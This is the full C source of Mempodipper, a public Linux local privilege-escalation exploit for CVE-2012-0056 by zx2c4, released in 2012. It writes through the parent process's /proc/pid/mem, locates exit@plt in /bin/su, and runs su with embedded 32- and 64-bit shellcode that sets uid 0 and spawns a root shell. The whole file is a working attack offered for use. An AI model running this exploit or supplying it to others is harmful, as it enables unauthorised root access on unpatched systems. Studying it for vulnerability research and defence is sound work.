/*
 * Mempodipper
 * by zx2c4
 * 
 * Linux Local Root Exploit
 * 
 * Rather than put my write up here, per usual, this time I've put it
 * in a rather lengthy blog post: http://blog.zx2c4.com/749
 * 
 * Enjoy.
 * 
 * - zx2c4
 * Jan 21, 2012
 * 
 * CVE-2012-0056
 */

#define _LARGEFILE64_SOURCE 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>

int send_fd(int sock, int fd)
{
  char buf[1];
  struct iovec iov;
  struct msghdr msg;
  struct cmsghdr *cmsg;
  int n;
  char cms[CMSG_SPACE(sizeof(int))];

  buf[0] = 0;
  iov.iov_base = buf;
  iov.iov_len = 1;

  memset(&msg, 0, sizeof msg);
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;
  msg.msg_control = (caddr_t)cms;
  msg.msg_controllen = CMSG_LEN(sizeof(int));

  cmsg = CMSG_FIRSTHDR(&msg);
  cmsg->cmsg_len = CMSG_LEN(sizeof(int));
  cmsg->cmsg_level = SOL_SOCKET;
  cmsg->cmsg_type = SCM_RIGHTS;
  memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

  if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
    return -1;
  close(sock);
  return 0;
}

int recv_fd(int sock)
{
  int n;
  int fd;
  char buf[1];
  struct iovec iov;
  struct msghdr msg;
  struct cmsghdr *cmsg;
  char cms[CMSG_SPACE(sizeof(int))];
  
  iov.iov_base = buf;
  iov.iov_len = 1;

  memset(&msg, 0, sizeof msg);
  msg.msg_name = 0;
  msg.msg_namelen = 0;
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;

  msg.msg_control = (caddr_t)cms;
  msg.msg_controllen = sizeof cms;

  if ((n = recvmsg(sock, &msg, 0)) < 0)
    return -1;
  if (n == 0)
    return -1;
  cmsg = CMSG_FIRSTHDR(&msg);
  memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
  close(sock);
  return fd;
}

int main(int argc, char **argv)
{
  if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
    char parent_mem[256];
    sprintf(parent_mem, "/proc/%d/mem", getppid());
    printf("[+] Opening parent mem %s in child.\n", parent_mem);
    int fd = open(parent_mem, O_RDWR);
    if (fd < 0) {
      perror("[-] open");
      return 1;
    }
    printf("[+] Sending fd %d to parent.\n", fd);
    send_fd(atoi(argv[2]), fd);
    return 0;
  }
  
  printf("===============================\n");
  printf("=          Mempodipper        =\n");
  printf("=           by zx2c4          =\n");
  printf("=         Jan 21, 2012        =\n");
  printf("===============================\n\n");
  
  int sockets[2];
  printf("[+] Opening socketpair.\n");
  if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
    perror("[-] socketpair");
    return -1;
  }
  if (fork()) {
    printf("[+] Waiting for transferred fd in parent.\n");
    int fd = recv_fd(sockets[1]);
    printf("[+] Received fd at %d.\n", fd);
    if (fd < 0) {
      perror("[-] recv_fd");
      return -1;
    }
    printf("[+] Assigning fd %d to stderr.\n", fd);
    dup2(2, 6);
    dup2(fd, 2);

    unsigned long address;
    if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
      address = strtoul(argv[2], NULL, 16);
    else {
      printf("[+] Reading su for exit@plt.\n");
      // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
      FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
      char result[32];
      result[0] = 0;
      fgets(result, 32, command);
      pclose(command);
      address = strtoul(result, NULL, 16);
      if (address == ULONG_MAX || !address) {
        printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
        printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
        return 1;
      }
      printf("[+] Resolved exit@plt to 0x%lx.\n", address);
    }
    printf("[+] Calculating su padding.\n");
    FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
    char result[256];
    result[0] = 0;
    fgets(result, 256, command);
    pclose(command);
    unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
    unsigned long offset = address - su_padding;
    printf("[+] Seeking to offset 0x%lx.\n", offset);
    lseek64(fd, offset, SEEK_SET);
    
#if defined(__i386__)
    // See shellcode-32.s in this package for the source.
    char shellcode[] =
      "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
      "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
      "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
      "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
      "\x80";
#elif defined(__x86_64__)
    // See shellcode-64.s in this package for the source.
    char shellcode[] =
      "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
      "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
      "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
      "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
      "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";

#else
#error "That platform is not supported."
#endif
    printf("[+] Executing su with shellcode.\n");
    execl("/bin/su", "su", shellcode, NULL);
  } else {
    char sock[32];
    sprintf(sock, "%d", sockets[0]);
    printf("[+] Executing child from child fork.\n");
    execl("/proc/self/exe", argv[0], "-c", sock, NULL);
  }
}